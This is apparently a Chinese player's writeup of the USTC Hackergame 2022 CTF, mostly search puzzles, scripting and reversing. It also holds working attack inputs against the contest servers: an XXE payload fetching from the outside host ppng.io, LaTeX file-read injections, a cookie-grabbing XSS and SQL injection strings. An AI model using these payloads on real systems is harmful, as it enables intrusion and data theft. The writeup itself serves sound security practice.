USTC Hackergame 2022 - Writeup

退步了!

一方面是周末没带电脑回家的原因,另一方面是感觉自己逐渐懒惰了起来。

甚至连整理 writeup 都拖了一个星期

分数

当前分数:2850, 总排名:144 / 2747

binary:350 , general:1050 , math:250 , web:1200

签到

随便画几个数字然后提交,可以看到 url 中的 result 参数就是我们画出来的字符

题目要求画出 2022,那么我们直接修改这个参数即可

http://202.38.93.111:12022/?result=2022

猫咪问答喵

经典的考验搜索能力的题目

Q1

中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵

谷歌搜索 site:ustc.edu.cn NEBULA 成立

可以找到 https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm (页面存档备份)

2017-03

Q2

2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?

在 LUG @ USTC 官网的 Wiki (页面存档备份) 中

找到「特色活动」标题下的「自由活动日」链接,进去后能找到每次软件自由日的 PPT

找到题目中涉及的「GNOME Wayland 使用体验:一个普通用户的视角」对应的 PPT

https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5/slides/gnome-wayland-user-perspective.pdf (页面存档备份)

下载后,找到对应的 KDE 程序截图,这页 PPT 提及到了「特别是 KDE 程序会有比较严重的问题」

然后去谷歌搜索「kde video editor」就能知道这个程序是 Kdenlive

Kdenlive

Q3

22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?

谷歌搜索 firefox version 找到 Firefox 各个版本的列表 https://www.mozilla.org/en-US/firefox/releases/ (页面存档备份)

然后就是笨办法,二分法找哪些大版本支持,哪些大版本不支持

https://www.mozilla.org/en-US/firefox/12.0/system-requirements/ (页面存档备份) 支持

https://www.mozilla.org/en-US/firefox/13.0/system-requirements/ (页面存档备份) 不支持

12

Q4

你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵!

将 Linux 的内核代码 torvalds/linux 全部 clone 到本地

(当然,你可以 clone 到服务器上,毕竟很大)

接下来就比较取巧了,git log 查看提交记录,然后 / 搜索 CVE-2021-4034 就找到了 dcd46d897adb70d63e025f175a00a89797d31a43 这个 Commit

https://github.com/torvalds/linux/commit/dcd46d897adb70d63e025f175a00a89797d31a43

可以看到这个 commit 在文件 fs/exec.c 的第 1935-1947 行中增加了判断 argc 长度的代码

dcd46d897adb70d63e025f175a00a89797d31a43

Q5

通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.,你知道猫咪在连接什么域名吗?

这题就需要借助互联网测绘工具了,尝试了 fofa 但是搜索效果不好,最后尝试 shodan 得到结果

https://www.shodan.io/search?query=e4%3Aff%3A65%3Ad7%3Abe%3A5d%3Ac8%3A44%3A1d%3A89%3A6b%3A50%3Af5%3A50%3Aa0%3Ace

sdf.org

Q6

中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的?

https://ustcnet.ustc.edu.cn/11109/list.htm (页面存档备份) 能找到中科大网络中心的发文列表,看标题找到对应计费规则的文件即可

https://ustcnet.ustc.edu.cn/2003/0301/c11109a210890/page.htm (页面存档备份) 中能找到题目对应的计费规则

2003-03-01

家目录里的秘密

VS Code 里的 flag

这一问比较简单,直接解压后全目录搜索 flag{ 字符即可

### Rclone 里的 flag

这一问直接告诉了目标是 rclone,看到有这么一个配置文件 .config/rclone/rclone.conf

[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

密码被通过某种方式加密过

众所周知,ftp 是明文协议,因此通过本地 /etc/hostsftp.example.com 指向一个存在 FTP 服务器的 IP 即可

一边通过 tcpdump port 21 抓包,一边通过 rclone ls flag2: --config .config/rclone/rclone.conf 触发 FTP 连接

从网络流量抓包中就能看到 flag

HeiLang

题目发明了一个新的语法,用 A[x | y | z] = t 来表示了之前复杂的 A[x] = t; A[y] = t; A[z] = t

解题核心就处理一下那个原生 Python 不能识别的逻辑即可

5a6
> b = """
1005a1007,1019
> """
> 
> for i in b.split("\n"):
>     i = i.strip()
>     if i == "":
>         continue
>     number = int(i.split(" = ")[-1])
>     left = i.index("[") + 1
>     right = i.index("]")
>     idx = i[left:right].split(" | ")
>     for each in idx:
>         a[int(each)] = number
> 

通过这个 Patch 给题目打个补丁后执行即可拿到 flag

Xcaptcha

题目涉及到一个「Javascript 大数相加」的问题,可以参考以下链接

https://cloud.tencent.com/developer/article/1483443 (页面存档备份)

简单通过一个油猴脚本就能解决,保存后直接点击题目的验证码框框,就能自动算出来结果并提交

// ==UserScript==
// @name         xcaptcha
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        http://202.38.93.111:10047/xcaptcha
// @icon         https://www.google.com/s2/favicons?domain=93.111
// @grant        none
// @require
// ==/UserScript==

(function() {
    'use strict';

    function bigNumAdd(num1, num2) {
        const checkNum = num => typeof num === 'string' && !isNaN(Number(num))
        if (checkNum(num1) && checkNum(num2)) {
            const tmp1 = num1.split('').reverse()
            const tmp2 = num2.split('').reverse()
            const result = []
            const format = val => {
                if( typeof val === 'number') return val
                if(!isNaN(Number(val))) return Number(val)
                return 0
            }
            let temp = 0
            for (let i = 0; i <= Math.max(tmp1.length, tmp2.length); i++) {
                const addTmp = format(tmp1[i]) + format(tmp2[i]) + temp
                result[i] = addTmp % 10
                temp = addTmp > 9 ? 1 : 0;
            }
            result.reverse()
            const resultNum = result[0] > 0
            ? result.join('')
            : result.join('').slice(1)
            console.log('result', resultNum);return resultNum
        } else {
            return 'big number type error'
        }
    }
    const q1 = document.getElementsByTagName("label")[0].textContent.split(' ')[0].split('+')
    const q2 = document.getElementsByTagName("label")[1].textContent.split(' ')[0].split('+')
    const q3 = document.getElementsByTagName("label")[2].textContent.split(' ')[0].split('+')
    document.getElementById("captcha1").value = bigNumAdd(q1[0], q1[1])
    document.getElementById("captcha2").value = bigNumAdd(q2[0], q2[1])
    document.getElementById("captcha3").value = bigNumAdd(q3[0], q3[1])
    document.getElementsByTagName("button").submit.click()

})();

旅行照片 2.0

经典的社会工程学题目!

照片分析

exiftool travel-photo-2.jpg

ExifTool Version Number         : 12.42
File Name                       : travel-photo-2.jpg
Directory                       : .
File Size                       : 1692 kB
File Modification Date/Time     : 2022:10:22 14:17:21+08:00
File Access Date/Time           : 2022:10:22 14:17:21+08:00
File Inode Change Date/Time     : 2022:10:22 14:17:21+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Make                            : Xiaomi
Camera Model Name               : sm6115 (juice)
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : HDR+ 1.0.345618096zdy
Modify Date                     : 2022:05:14 18:23:35
Y Cb Cr Positioning             : Centered
Exposure Time                   : 1/1264
F Number                        : 1.8
Exposure Program                : Program AE
ISO                             : 84
Exif Version                    : 0231
Date/Time Original              : 2022:05:14 18:23:35
Create Date                     : 2022:05:14 18:23:35
Offset Time                     : +09:00
Offset Time Original            : +09:00
Offset Time Digitized           : +09:00
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/1261
Aperture Value                  : 1.8
Brightness Value                : 7.24
Exposure Compensation           : 0
Max Aperture Value              : 1.8
Subject Distance                : 200 m
Metering Mode                   : Center-weighted average
Flash                           : Off, Did not fire
Focal Length                    : 4.7 mm
Sub Sec Time                    : 220027
Sub Sec Time Original           : 220027
Sub Sec Time Digitized          : 220027
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 3840
Exif Image Height               : 2160
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Custom Rendered                 : Custom
Exposure Mode                   : Auto
White Balance                   : Auto
Digital Zoom Ratio              : 0
Focal Length In 35mm Format     : 41 mm
Scene Capture Type              : Standard
Contrast                        : Normal
Saturation                      : Normal
Sharpness                       : Normal
Subject Distance Range          : Distant
XMP Toolkit                     : Adobe XMP Core 5.1.0-jc003
Has Extended XMP                : 721DF3D7213475573BB1CD0418824CC8
JFIF Version                    : 1.02
Profile CMM Type                : 
Profile Version                 : 4.0.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2016:12:08 09:38:28
Profile File Signature          : acsp
Primary Platform                : Unknown ()
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Google
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Google
Profile ID                      : 75e1a6b13c34376310c8ab660632a28a
Profile Description             : sRGB IEC61966-2.1
Profile Copyright               : Copyright (c) 2016 Google Inc.
Media White Point               : 0.95045 1 1.08905
Media Black Point               : 0 0 0
Red Matrix Column               : 0.43604 0.22249 0.01392
Green Matrix Column             : 0.38512 0.7169 0.09706
Blue Matrix Column              : 0.14305 0.06061 0.71391
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Chromatic Adaptation            : 1.04788 0.02292 -0.05019 0.02959 0.99048 -0.01704 -0.00922 0.01508 0.75168
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Image Width                     : 2160
Image Height                    : 3840
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
HDRP Maker Note                 : (Binary data 21010 bytes, use -b option to extract)
Aperture                        : 1.8
Image Size                      : 2160x3840
Megapixels                      : 8.3
Scale Factor To 35 mm Equivalent: 8.7
Shutter Speed                   : 1/1264
Create Date                     : 2022:05:14 18:23:35.220027+09:00
Date/Time Original              : 2022:05:14 18:23:35.220027+09:00
Modify Date                     : 2022:05:14 18:23:35.220027+09:00
Circle Of Confusion             : 0.003 mm
Depth Of Field                  : inf (3.53 m - inf)
Field Of View                   : 47.4 deg
Focal Length                    : 4.7 mm (35 mm equivalent: 41.0 mm)
Hyperfocal Distance             : 3.59 m
Light Value                     : 12.2

通过上面这个 Exif 信息已经能得到许多信息

有一个坑点就是第一问的 Exif 版本,几个不同的程序跑出来都是 0231,纠结了好久,最后参考了题目的格式样例写成 2.31 就对了

https://vip2.loli.io/2022/11/06/tCUsqwGhPvozVMA.jpg

社工入门

题目里目标的 Logo 大体上还是比较明显的,在谷歌上搜索相关关键词就能找到

这是 千葉海洋球場(ZOZO海洋球場)

https://zh.wikipedia.org/zh/%E5%8D%83%E8%91%89%E6%B5%B7%E6%B4%8B%E7%90%83%E5%A0%B4

邮政编码

邮编是个坑,日本隔条街邮编都能不同

第一问问的是酒店的邮编,根据谷歌地图猜测大概是 Hotel New Otani Makuhari 或者 APA HOTEL& RESORT TOKYO BAY MAKUHARI

两家酒店的邮编都是 〒261-0021

手机分辨率

上面通过 Exif 信息已经知道了手机是 小米 或者 红米

通过 红米 (科技品牌) - 维基百科,自由的百科全书 (页面存档备份)

结合 Exif 信息中的芯片型号 sm6115 能找到对应两款手机

一款是「Redmi Note 9 标准版(4G)」,屏幕是 2340*1080

另一款是「Redmi Note 9 4G」,屏幕是 2340*1080

所以答案是 2340x1080

航班

通过上面的题目已经知道了两个非常重要的要素,时间和地点

接下来通过 flightradar24 的钞能力即可找到对应的航班

https://www.flightradar24.com/2022-05-1409:26/12x/ANA683/2bda404e

简单整理一下,这题的答案就出来了

猜数字(没做出来,但是也想聊一聊)

这一题没做出来,主要是不知道 Double.parseDouble 还能 parse 一个 NaN

不过类型混淆是 CTF 一个常见的知识点,这个地方被我忽略了

在做题的时候,能想到几个不同的攻击点,但是题目都很好的做了对应的处理,有效解决了潜在的非预期解的问题

下面就是一些 What If 的想法

XXE 带外

把题目丢进 IDEA 的那一瞬间,安全插件就已经扫出来第 54 行的 XML_INPUTS = XMLInputFactory.newFactory(); 存在 XXE 漏洞

通过第 111 - 112 行可以知道 Flag 的组成在环境变量里,尝试通过读取 /proc/self/environ 取得当前进程的环境变量

XXE 的执行没有回显,另外根据第 275 - 276 行可以知道 XML 解析错误也被屏蔽掉了

而 OOB 带外在 Java 中并没有什么有效的措施来绕过(因为这个文件里面有换行以及奇怪的字符,普通只有一行的文件倒是可以正常带外出来的)

XXE 异步猜数字

然后想到了一种基于 Rate Condition 的处理方式,在第一次猜数字的时候发送以下代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://ppng.io/magic-number"> ]>
<state><guess>&xxe;</guess></state>

ppng.io 是一个 pipe 管道服务,我计划是将进程挂在这里,然后去猜数字,拿到结果后再通过这个管道下发对应的数字

理论上是可行的,但是 290 行的 replaced = STATES.replace(token, oldState, newState); 阻挡了我的想法

他不仅仅是普通的 replace,甚至还验证了 oldState,因此即便我们触发了这里的逻辑,给 newState 赋值上了成功的参数,也无法成功替换掉 STATE

如果他这一行使用的是 replaced = STATES.replace(token, newState); 那么这个方法就是可行的

参数堆叠

因为 170 行这里是一个循环,因此假如我在一个请求里猜了很多个数字,不就可以实现通过一个请求猜到对应的数字了

换句话说就是提交类似下面的请求

<state><guess>000000</guess><guess>000001</guess><guess>000002</guess><guess>...</guess></state>

仔细看了代码,这个路子也是行不通的

解析判断了一个数字之后在 199 行会给 result 赋值,而新的一次执行在 184 行会判断这个 result 是否有值,如果有则丢出异常

如果没有 184 行这个路子估计也可以,不过也是一个概率的问题,可以提高概率,发的包越长(猜的数字越多)成功率越高

LaTeX 机器人

纯文本

在网上冲浪的时候找到了这篇文章,Hacking with LaTeX | Sebastian Neef - 0day.work (页面存档备份)

里面提到了可以通过下列命令来读一个文件

\input{/flag1}

特殊字符混入

这一问参考了 PayloadsAllTheThings/LaTeX Injection at b8387bc3a59c1f19c7d2e0df9bcf78ac11bd2f32 · swisskyrepo/PayloadsAllTheThings 里面提到的方法

大概的逻辑不会,就是多了将特殊符号进行了一个替换

$$\catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}$$

Flag 的痕迹

题目使用的是 DokuWiki 搭建的,也给出了具体的版本,可以本地部署一份结合源代码进行分析

doku.php 文件的第 43 - 48 行中给出了一些方法

$REV   = $INPUT->int('rev');
$DATE_AT = $INPUT->str('at');
$IDX   = $INPUT->str('idx');
$DATE  = $INPUT->int('date');
$RANGE = $INPUT->str('range');
$HIGH  = $INPUT->param('s');

直接访问 http://202.38.93.111:15004/doku.php?id=start&at=20220101 (页面存档备份) 即请求 2022 年 1 月 1 日的这个页面,而这个页面在这个时候并未生成,因此系统提示了该文件的创建时间

得到该文档创建的时间戳 http://202.38.93.111:15004/doku.php?id=start&rev=1665224447 (页面存档备份)

然后往后爆破疯狂 +1

得到带有 Flag 的文档 http://202.38.93.111:15004/doku.php?id=start&rev=1665224461 (页面存档备份)

解题完成

安全的在线测评

任意两个质数相乘的大数分解确实现阶段没办法实现,能实现的话 RSA 见一个破一个,因此这题并不能通过强算来实现

无法 AC 的题目

查看构建的代码

p = subprocess.run(
    ["gcc", "-w", "-O2", SRC, "-o", BIN],
    stdout=sys.stdout,
    stdin=subprocess.DEVNULL,
    stderr=subprocess.STDOUT
)

编译错误是直接输出到 STDOUT 的,也就是对我们可见

#include "../data/static.in"

In file included from ./temp/code.c:1:
./temp/../data/static.in:1:1: error: expected identifier or ‘(’ before numeric constant
    1 | 104282807526880757859994094527870976371690207188144127579265020967770373595617196482192658438848054135186773270989449104391708599334910550847893180291830360838640917202574211707345622191305096245583475971670346651912348257881253972478996837370880919979672426413406738598158938877541450113490168164315226299849
      | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include "../data/static.out"

In file included from ./temp/code.c:1:
./temp/../data/static.out:1:1: error: expected identifier or ‘(’ before numeric constant
    1 | 9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919
      | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

直接 #include 这个文件,在报错信息中可以得到静态数据的乘积以及其中的一个乘数

直接丢 factordb.com 去算结果

然后写个程序直接输出这两个数即可

#include <stdio.h>
int main() {
    printf("9760010330994056474520934906037798583967354072331648925679551350152225627627480095828056866209615240305792136810717998501360021210258189625550663046239919\n");
    printf("10684702576155937335553595920566407462823007338655463309766538118799757703957743543601066745298528907374149501878689338178500355437330403123549617205342471\n");
    return 0;
}

动态数据

知道 incbin 就能做出来,不知道 incbin 的我就做不出来

Flag 自动机

挺简单的一道题目,将程序丢进 IDA 进行分析

sub_401510 函数里面如果传入的参数满足一定的条件就会在同一目录下写 flag

通过第 9 行可以看出来这是在处理一个消息(也可以通过传入的那四个参数名来判断)

使用一个简单的 Python 程序给这个程序发一个消息即可

import win32ui
import win32gui

hwnd = win32gui.FindWindow(None, 'flag 自动机')
win = win32ui.CreateWindowFromHandle(hwnd)
win.SendMessage(0x111, 3, 114514)

微积分计算小练习

一个比较简单的 XSS 利用

<img src=x onerror=document.querySelector('#greeting').textContent=document.cookie>:1

http://202.38.93.111:10056/share?result=PGltZyBzcmM9eCBvbmVycm9yPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNncmVldGluZycpLnRleHRDb250ZW50PWRvY3VtZW50LmNvb2tpZT46MQ==

数据并不需要带外出来,因为 Bot 会帮我们提取网页中的一部分出来,所以只需要将 flag 写到这个地方即可

杯窗鹅影

flag1

直接读取 /flag1 就能读取出来

#include <stdio.h>
#include <stdlib.h>

int main()
{
  FILE *fptr;

  char c;
  char *filename = "/flag1";

  fptr = fopen(filename, "r");
  if (fptr == NULL)
  {
      printf("Cannot open file \n");
      exit(0);
  }

  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  fclose(fptr);
  return 0;
}

你先别急

急急国王表示很急,先通过 Burpsuite 将拖慢速度的地方给 Patch 掉,修改 Response Body

后端数据库目测为 Sqlite,手动注入观察字母和数字的个数即可

猜测后端逻辑是 SELECT level FROM users WHERE name = 'Simple-1'

如果 level 是 1 则全数字,level 是 3 则有两个字母,如此类推

Simple-1
'%20or%201%3d1%20limit%201%20--%20-%2b

全数字 存在注入点

Simple-111' union select count(0) from flag--

全数字 存在 flag 表

Simple-111' union select LENGTH(flag)-18 from flag--

验证码中只有一位字母,计算结果等于 2,即 flag 的长度为 20

Simple-111' union select count(0) from flag where flag like 'flag{w%'--

慢慢跑出来结果

Simple-111' union select count(0) from flag where flag like 'flag{jiji61d14de88e}'--

因为是 Sqlite 数据库,like 语法是不区分大小写的,20 个字符反正就是 jiji61d14de88e

Simple-1' and (SELECT hex(substr(flag,6,1)) FROM flag) = hex('J')--
Simple-1' and (SELECT hex(substr(flag,7,1)) FROM flag) = hex('i')--
Simple-1' and (SELECT hex(substr(flag,8,1)) FROM flag) = hex('J')--
Simple-1' and (SELECT hex(substr(flag,9,1)) FROM flag) = hex('i')--
Simple-1' and (SELECT hex(substr(flag,12,1)) FROM flag) = hex('d')--
Simple-1' and (SELECT hex(substr(flag,15,1)) FROM flag) = hex('d')--
Simple-1' and (SELECT hex(substr(flag,16,1)) FROM flag) = hex('e')--
Simple-1' and (SELECT hex(substr(flag,19,1)) FROM flag) = hex('e')--

逐位猜大小写,最后得到 flag

flag{JiJi61d14de88e}

企鹅拼盘

这么简单我闭眼都可以!

2**4=16 总共 16 种可能,逐一数字手动爆破即可

输入到 1000 时成功拿到 Flag

大力当然出奇迹啦~

修改一下脚本,直接遍历,毕竟最多也才 65535 个组合

120a120,124
>     def cal(self):
>         if self.info['scrambled'] and self.info['pc'] == self.info['lb'] and len(self.info['inbits']) > 0 and self.info['ib'] < 0:
>             return True
>         return False
> 
125c129
<             return Panel("Success! Press q to get flag.", title="Info", border_style="green")
---
>             return Panel(f"{self.info['inbits']} Success! Press q to get flag.", title="Info", border_style="green")
175,195c179,193
<         if self.pc >= len(self.branches):
<             return
< 
<         move = self.branches[self.pc][1] if self.inbits[self.branches[self.pc]
<                                                         [0]] else self.branches[self.pc][2]
<         for mi in range(len(move)):
<             self.board.move(move[mi])
<             for i in range(16):
<                 if self.blocks[i].i != self.board.b[i//4][i % 4]:
<                     self.blocks[i].set_i(self.board.b[i//4][i % 4])
<             self.info.set_info({'bT': self.branches[self.pc][1] if self.pc < len(self.branches) else '',
<                                 'bF': self.branches[self.pc][2] if self.pc < len(self.branches) else '',
<                                 'inbits': self.inbits,
<                                 'ib': self.branches[self.pc][0] if self.pc < len(self.branches) else -1,
<                                 'scrambled': bool(self.board),
<                                 'pc': self.pc,
<                                 'lb': len(self.branches),
<                                 'hl': mi})
< 
<             await asyncio.sleep(0.1)
<         self.pc += 1
---
>         for i in range(2**self.bitlength):
>             print(i)
>             try:
>                 t = bin(i).split('b')[-1].zfill(self.bitlength)
>                 inbits = list(map(int, t))
>                 for x in inbits:
>                     assert x == 0 or x == 1
>                 assert len(inbits) == self.bitlength
>                 self.inbits = inbits
>                 self.watch_pc(len(self.branches))
>                 if self.info.cal():
>                     print(f"{t} win")
>                     return
>             except:
>                 pass
301a300
> 

使用了这个 Patch 之后,选择相应的关卡,然后按 A 触发计算逻辑

直接跑出来结果是 0010111110000110

然后就可以去拿 flag 了